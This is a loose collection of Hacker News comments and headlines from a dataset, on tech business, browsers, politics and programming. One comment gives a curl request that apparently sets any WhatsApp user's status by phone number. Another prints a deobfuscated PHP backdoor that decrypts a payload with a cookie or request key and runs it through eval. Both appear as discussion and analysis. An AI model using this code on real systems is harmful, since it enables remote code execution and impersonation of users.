skysight-inc/HackerNews huggingface dataset:
I think a revolution is unlikely. I've spoken to many Iranians and had an Iranian girlfriend for a few years.

One thing I realized is that they are completely brainwashed to believe that a revolution is the worst thing ever. They all take the attitude that it's better to stagnate forever with rape victims being regularly stoned than to risk a few deaths trying to change things. I think it's because they perceive the revolution and Iraq war during their childhood as horrible in a not normal way, whereas the stuff that happens currently is horrible in a normal way.

Combine this with a huge amount of nationalism, and you also realize they won't work with those who should be natural allies. For example, Iran's long oppressed Kurds/Balochs might join in a revolution if they get independence, but the Persian nationalists (read: those freedom-seeking youths you see in the media) would never consider this.

So no, I don't see a revolution happening.
Technically it is really impressive but I would always worry about a future Google CEO coming in and saying. We need to concentrate on our core businesses. That is really only a matter of time or more correctly happens from time to time in almost every company.
The amount of money google earns with GAE is so little it doesn't matter compared with ads.

At this point all you need to do is engineer all the technically sophisticated systems of GAE on your own and you are good to port your app to your own stack. The good thing is should you succeed there are 100000 desperate customers waiting.
Well, there's nothing wrong with providing a shortcut, although personally I would have preferred a closure:

printred = colored.print_function("red")
printred("This prints in red")
Obviously email doesn't support seeing someone type, but SMTP is almost as fast as XMPP - sub 1 second doesn't really make a difference, it's usually IMAP that's the slow bit. Of course it's just as fast as XMPP if both sender and recipient are using post.fm, but the real latency comes from the recipient using eg gmail which has really slow IMAP polling in the web client (plus having to go back to the inbox or clicking show new message in gmail). Post.fm doesn't use IMAP under the hood so its instantaneous (and querying your mail in SQL lets us do amazing stuff).
yep. pinboard has both a "pay us one-time" model for bookmarking and an "annual-fee" model for special features like pdf archives.

That seems reasonable and fair, then again I'm sure he can pull it off well because as far as i know pinboard's a one-man bootstrapped company.
A whirlwind introduction to THREE.js
Because what really matters is not what chances a society offers to black people (that the same society dragged away from their lands and used as slaves), but how we talk, right?

Yes, how we/I/you/everyone talks affects what chances a black person has.

Given by who? Last time I checked, no such thing as god-given rights or natural rights exists objectively.

The people with guns and the power to lock you up and confiscate your property disagree (i.e. the police/courts/government). The vast majority of people around you recognise that these people with guns are allowed to do this (i.e. vast majority of people recognise that the government is allowed to imprison people or fine people). If you don't like it, go set up your own country.
Mandriva in danger of closing its doors
The site says the hole has been patched but I was just able to change my own status with this:

curl -A "WhatsApp/2.6.7 iPhone_OS/5.0.1 Device/iPhone_4" --header "Accept-Language: en-us" --header "Accept-Encoding: gzip, deflate" --header "Connection: keep-alive" -d "cc=1&me=%2B1{10_DIGIT_NUMBER}&s={URL_ENCODED_STATUS}" https://s.whatsapp.net/client/iphone/u.php

It did take some time to show up under my name, even after restarting the app.
"You spend it to increase your net worth and hiring price in whatever field you wish to work within."

I don't like the direction the world is heading.
Knowledge is not a commodity. Nor are we livestock that is being bred to be sold on The Market.

I still hold the illusion that some people go to academia with non-material motives. How could research in some obscure part of some obscure field ever increase your price tag. Yet how can we hope of any academic progress if we base our research on what the economy needs.
Wake up and do what? Don't forget the massive protests over elections earlier this year where police were shooting people. I say this not because I think the Iranian people should do nothing but I feel we must understand the level of commitment it takes to be an activist in Iran compared to the a more liberal country. Would you be willing to put your life on the line to protest this?
The convolution series question is bad 'cos you don't give enough terms to even see it. The next term is 28 only if the first four numbers are 1,5,7,15 and you assume that what precedes 1 is 0. If you give two or three terms more (28, 48, 75), I'm sure more people will have success figuring it out. The number of terms given is like saying "1 1 2 ?" and saying the missing one is 3 because this is the Fibonacci series.

In any case, even if the candidate didn't figure out the convolution series, but vocally tried calculating differences or tried to look at the numbers in a different base than 10 or even complained that she can cook up an arbitrary rule for the remainder of the series, that kind of thought process is certainly interesting and playful interview material .... if the post calls to a keen eye for patterns. The key is that the answer is not what you're interested in, ever. It's always the thought process.
what material advantage does this have over the extremely similar and yet more firmly established OSC protocol, I wonder.
tl;dr it parses HTTP headers with Ragel, which is a really nice idea; the state machine part is a yummy bite.
Vampire Diaries - Season 3, Episode 10 - The New Deal
Facebook Are More At Risk Of Switching To Hard Drugs
> If you're not looking for a job, stop looking at job ads. Problem solved.

The main page of HN tells me what technology people find interesting.

The job postings tell me what people will pay money for.

I for one have a job but still look at the postings to find out what employers are looking for, and also which employers are looking, should I show up one day and find that I don't have a job.
Mobile-friendly design with an embedded YouTube video and a fluid resize
Firefox 12 now has "Undo Add to Dictionary" context menu option
Assuming this is dogfooding that is being sold at (very sizable) markup, it's hard to find a case where discontinuing the offering would be important for the future CEO.

If, however, Google switches to different technologies in house, then one could expect this to go away rather quickly, as its prior dogfooding driven products have once abandoned in house.
Why Pusher wants to help you build the real-time web
I have no plans to do a Windows port myself, as I've no interest in using or developing for Windows anymore.

I'd be delighted if someone else would have a crack at producing something Boxer-like for Windows; however, while Boxer is opensource it's written in Objective C using OS X-native APIs, so a port would involve pretty much a total rewrite of every part of Boxer that's not DOSBox. Any such project for Windows would be better off using Boxer as a source of inspiration rather than a codebase.
Browser Battles: Opera vs FF Vs Chrome...Will the fat lady sing?
Sounds good, you want to go hiking when we get there? On second thought, maybe we should stay home.
Learn Coding with Google Code University
Do you have an algo create the collage? Either way I could never see myself using your service. Your site loads fine on iPad, but yeah it is slow.
Yang zhu
Why would you block them, especially for static pages?
Pusher: HTML5 WebSocket Powered Realtime Messaging Service
I always thought it was because little boy was made if uranium which japanese intelligence had a pretty good idea of how much the US could produce in a year. Fat man was based on the more readily available plutonium but the detonation was more uncertain. Thus the test bomb produced by the manhattan project was also a plutonium bomb trying out the implosion detonation mechanism. Although never tested before the physics ov achieving supercriticality for a uranium bomb where never in doubt.
iPhone 4S owners use twice as much data as those on iPhone 4
That's awesome. How does it work, basically?
It also has very good JavaScript support, I would say that in my opinion it is one of the top JavaScript IDE's. I also like it's JAX-RS tooling. I still get a lot of weird looks from people when I tell them I use Netbeans but several developers I know have switched after watching my workflow for web apps. That is the thing about Netbeans, it may not have the breadth that Eclipse has, but for the thing's that it is good for, it does them very well.
Move Over, Santa, Here Come the Astronomers
Shopping Centre Tracking System Faces Civil Rights Campaigners’ Wrath
So, just a brief insight into the way I think, which I believe will add to the discussion.

When someone complains about "political correctness", the first thing I do is figure out if "LA LA LA LA LA LA I CAN'T HEAR YOU" would be a good substitution.

It's not a universal replacement, but it works a surprising amount of the time.
Snipers - Cowardly assassins, or surgical soldiers?
Visitor.js
You'd rather test for trivial mechanical skills rather than fundamental understanding?
This would work exceptionally well on SPDY connections.
Steve Jobs Action Figure: Apple Threatens Chinese Toy Maker With Lawsuit
Agreed. It seems like Google has no desire to implement this however. Presumably because they feel prerendering will give Chrome a significant speed advantage and they don't want site owners to opt out from day one.

Looks like the best you can get is a JS property once the page is loaded. http://code.google.com/chrome/whitepapers/pagevisibility.htm...
"ICS would probably run like a dog on the hardware,"

There is already an ICS ROM for the Kindle Fire. It's pre-release -has touch, wifi, sound but no gpu acceleration yet- so it's probably not a good indicator of performance. You can find a build as well videos on xda: http://forum.xda-developers.com/forumdisplay.php?f=1309
Google Panda Will Kill & Eat Your Low-Quality Links
Vivek Oberoi in Vishnuvardhana Hindi remake
How to write a skype bot.
The Skype bot needs a bit more work than your average IRC bot because of the proprietary nature of Skype. There is much clicking and downloading of certificate stuff to get you started for example. Also I want to show you how to put the bot into action, so we will go beyond just the bot.
It's not that a lawyer can't like maths or dislike politics. The issue is whether they are less likely to on average. From my personal experience of knowing several of both groups, I would say that on average the lawyers I know are less interested in maths than the engineers and more interested in politics than them. It doesn't apply universally (some of the engineers I know are obsessed by politics, just not all of them and not as many of them as lawyers). It's possible that there may be research that demonstrates this doesn't hold when you look at the sum total of lawyers and engineers, but that's not what the author is trying to rely on.

Assuming that there is a skew of preferences, then this info isn't irrelevant you can perfectly reasonably use this to help identify the likelihood of this person being in one group or another. It doesn't guarantee that you're right, but it will improve your chances.
Justin Timberlake's Engaged, We Cry A River
I got "Kickstarter for natural disasters", which certainly has a number of ways it could go. While "Color for art" seemed a little harsh.

Not sure about "YCombinator for Car Repair", but how about "StackOverflow for Car Repair"?

Okay, back to work.
This week in Scala (06/01/2012)
Top 1% of Mobile Users Consume Half of World's Bandwidth, and Gap Is Growing
He's the intellectual version of Chuck Norris.
HootSuite’s Ryan Holmes Has Big (Un-Canadian) Dreams Tech
Is there any way for somebody with 10+ years of C++ experience but little to no 'real mathematics' skills (meaning: I know what sin and cos are and can multiply two matrices, which probably puts me in the 90th percentile of the general population when it comes to math, but I have no idea what 'combinatorics' are) to work in some capacity at a hedge fund (well, technical capacity, not sweeping floors ;) ) ?
I'ven't looked at the code base, but I don't get how you're allowing true concurrency without any evented framework?
Most new Eclipse users don't understand that you can configure your perspective with whichever windows you want. Which in itself is a kind usability fail on Eclipse's part.
Comienza la fiesta anual de la tecnología |
> Meanwhile for every case you can find for someone traveling to America, there can be an identical case found for someone traveling to Europe.

You've found 1, which hardly equates to "every".

Do you have any actual data? I'd be curious to see what the real difference is between "them" coming "here" vs. "us" going "there".
Entrepreneurship is a Means, not a Cause (or why everyone needs a cause)
"Make it extremely easy to install Android 4.0 Ice Cream Sandwich on the Kindle Fire. Launch a one-click flashing tool to flash an Android 4.0 ROM on the Kindle Fire. "

There is already an easy process to install ROMs on the Kindle Fire, including a per-alpha ICS one. The tool is here: http://teamw.in/project/twrp

A guide to use it is here: http://techwalls.com/gadget/how-to-install-android-4-0-ice-c... (workaounds no longer needed)

The ROM is being developed on XDA: http://forum.xda-developers.com/showthread.php?t=1379208&...

Video of pre-alpha ROM: http://moooom.dyndns.info/?p=107
Apparently they do, they send

X-Purpose: instant

(http://www.google.co.uk/chrome/intl/en-GB/webmasters-faq.htm...)
Larry Tesler: The Silicon Valley history man
Ha ha, good point! Though, I have no intentions of shutting down comments. :)
Notes on the Plan 9 3rd edition Kernel Source
I believe that GAE is built on the same technologies that Google use in-house, so they're unlikely to transition any time soon.

But even if not, there's always AppScale:
http://appscale.cs.ucsb.edu/
9 Problems with iOS
As pointed out, more than one copyright extension has occurred. But it's more than just that: the copyrights are now automatic, and don't depend on something being labeled appropriately, as was true in the USA until 1978. That alone makes "public domain" a much less useful concept, as one is never quite sure what the status of something is upon inspection.

The term of copyright has not just gotten longer, it's gotten less determinate: author's life + some number of years. Instead of a simple date calculation, we have to go reference mortality data, too.

Those two things are a pretty massive change, making it difficult to tell if obscure works have entered the public domain or not.
But what right is being recognized? I think there is a distinction to be made between the internet as material infrastructure and the internet as a medium of civil discourse. The former is only relevant in as much as totalitarian control of infrastructure can be used as a means of denying the latter - that is civil discourse critical of a regime.

Vint Cerf is arguing for a higher, abstract, freedom of uncensored communication which should not be confused with a civil obligation to provide a certain infrastructure. The idea of "a right to internet access" is dangerous if it is understood too narrowly, focusing on a current means rather than a properly recognized timeless end.

Internet access is a public good, as is the physical existence of material printing presses. But that doesn't oblige a government to build a certain communications infrastructure (although a wise government might well chose to encourage such).

A "higher" right to uncensored communication does oblige a just government to never censor the internet or deny access to it. A right in this sense might be better understood as a restriction on government: "Congress shall make no law ..." rather than "Congress shall ensure the provision of ..."
Atwood's Law applies: http://www.codinghorror.com/blog/2007/07/the-principle-of-le...
Cold Storage Vancouver
Cold Storage Vancouver, Refrigerated transportation Canada - CDS Group of Companies is Specializing in our world class Transloading Services, Cross Docking services, Supply chain Vancouver, Freight Services, Refrigerated transportation in Canada.
That's what efficient developers do. Relying on the compiler/interpreter for seeing if an algorithm works is a crutch. Mentally stepping through an algorithm, including keeping track of the state of e.g. state variables or stacks, is a litmus test to see if you really understand the code you just wrote.

(preemptive nitpicker rebuke: getting the exact numeric output if that output depends on calculating e.g. the root of 34252 in your head is not what I mean by this)
This is really going to fuck up your log analysis days...

Seeing traffic that never materialized.

Headers aren't part of any standard log format.

Every web-server configuration and every log analysis script will need to be modified, unless Chrome...

1. Adds a GET variable to each URL to signify this is a preview pull (ex: GET http://url/?ChromePreview=Background).

2. Hits the URL again in some way (ex: HEAD http://url/?ChromePreview=View) to signify that this is now a view.

(edit: adding GET vars is a bad idea as outlined in comments)

Which will solve only half the problem, you'll still need to update your analysis scripts in a non trival way.

Headers won't work here well as these are not logged, and the only thing you could do with them is block the request, or have your Apache, IIS, Node.js, etc add non-standard entries into the log file, which creates more problems.

(edit: headers are about the only way for this to work as outlined in comments)

Not to mention the extra traffic on the web could be doubled.
it seems like Google has no desire to implement this however

Why do you say that? They seem to send "X-Purpose: instant", at least according to their FAQ[1] and bug reports[2].

[1]: http://www.google.co.uk/chrome/intl/en-GB/webmasters-faq.htm...

[2]: https://code.google.com/p/chromium/issues/detail?id=91735
I just don't want the "What's hot on Google+" section at the top center of my screen. It is usually some stale Youtube meme that is neither hot nor informative, but takes a few seconds to skip because it looks like any other post in my stream.
How about in the case of "better quality mugs"? Trivial examples can often reveal important points, when examined closely. What if Disney Mugs, Inc, a solely-owned subsidiary of Giant Immoral MegaCorp, made very poor quality mugs, ones where the handles broke off? If you infringed copyright, and made unbreakable mugs, lots of parents and children would be very grateful.
The code is obfuscated as ascii characters in the $e variable. It uses the PHP function 'cor' to 'decrypt' the code (I think the same method is used in evil.pl).

The PHP code is:

if (!@isset($_SERVER)) {
$_COOKIE = &$HTTP_COOKIE_VARS;
$_POST = &$HTTP_POST_VARS;
$_GET = &$HTTP_GET_VARS;
}
$k = $_COOKIE['key'];
if (empty($k)) {
$k = $_POST['key'];
}
if (empty($k)) {
$k = $_GET['key'];
}
if (!@function_exists('decrypt')) {
eval('function decrypt($e,$k){if(!$k){return;}$el=@strlen($e);$kl=@strlen($k);$rl=$el%$kl;$fl=$el-$rl;for($o=0;$o<$fl;$o+=$kl){$p=@substr($e,$o,$kl);$d.="$k"^"$p";}if($rl){$p=@substr($e,$fl,$rl);$k=@substr($k,0,$rl);$d.="$k"^"$p";}return($d);}');
}
$d = @decrypt($d, $k);
eval($d);
I too think Chrome did that for a while - but it's gone in the current version. I definitely had it turned on for a while, used and actually liked the feature. Now it only works for search phrases and Google results.
I doubt they will do that anytime, soon, but I agree some of the past decisions like that have really hurt them image wise, so they better be more careful of what they allow in the first place next time.
Alerta mundial por ‘senos’ defectuosos |
That happens in China, too. When there's a new policy or law, they pay thousands of people to write positive comments about it.
The same way every non-evented codebase does. Threads.

https://github.com/evanphx/puma/blob/master/lib/puma/thread_...
He is criticizing the ubiquity of cheesy job postings trying to attract top talent with trivial/hackneyed promises of things like bagels and beanbag chairs. His solution is for job postings to stop doing this.
If you want to claim it's fast ("screams") then you should provide some benchmarks.
Can't Apache, etc be configured to rewrite the URL and add the GET var itself if the admin wants to?

Alternatively, you can just block the preview if you really need your clean logs. Just add a rule to reply with 403 to any request with their header.
Hackers steal 45,000 Facebook passwords using Ramnit Worm
Django is only a framework
Absorbed
Absorbed = Intensely engaged; engrossed; to occupy the full attention, interest, or time of.

e.g : The project has absorbed all of our department’s resources.

Usage in Sentence: Absorbed in, not at.

Don’t say: The man was absorbed at his work.

Say: The man was absorbed in his work
IPhone application valentine day card to you and to your beloved
I don't pretend to understand most of it, but to my untrained eye, "Clever Algorithms" seems to be a phenomenal resource and available as a free PDF, or in print: http://www.cleveralgorithms.com/

Edit: Discussion here: http://news.ycombinator.com/item?id=2141542
Siri doubles iPhone data usage
After the first question: after being primed not to trust my instincts, I decided (SPOILER) it couldn't be (a), and thus guessed (c). Which I suppose reflects another important cognitive bias.
I don't think that the "high cost == high value" assumption is true of feature films. I've read that technically, most of the high-grossing films never actually turn a profit, due to very, very strange accounting.

When profit is disassociated from revenue, a lot of padding will go on. See the USA's defence industry for another example.
Headers are a perfectly reasonable way to signal this, and they're sending them. Adding GET parameters changes the URL fetched even though the browser still wants the same resource -- that would be wrong.

The fact that there are servers which don't allow users to do the sort of log analysis they need to do is not the fault of Google. Headers are the correct place to put the information.
SOPA-Supporting News Outlets Aren't Covering SOPA
Maybe, but there's a big difference in hearing the "geek in the family" talking about yet another tech subject without really hearing about it anywhere else, vs. visiting a web site only to find it taken down and replaced with a message about SOPA.

My (and many people's) individual words will not have near the impact that seeing giant organizations cooperatively taking action -- by giving up a day's worth of business -- in opposition to something.

That's not to say that we shouldn't try to educate others. But something like this will go so much further -- it will hit deeper and broader.
The redundant pageloads provide a better experience to some of your users. Doesn't that make it worth it?
> Democracies turn rotten when the people don't care about what happens at the top

Exactly. Plus it seems there is a global movement of some sort in this direction even in countries with a history that would make you expect the opposite (stable democracy after a long history of military coups). Spain has approved SOPA-like laws. Argentina just passed a "counter-terrorism" law that has nothing to do with our country's reality. And so far we've managed to stop the few attempts by the music industry to lobby for restrictive laws, but they will try again.
At least eclipse doesn't lack features now. ;)
Thank you, will look into this ASAP.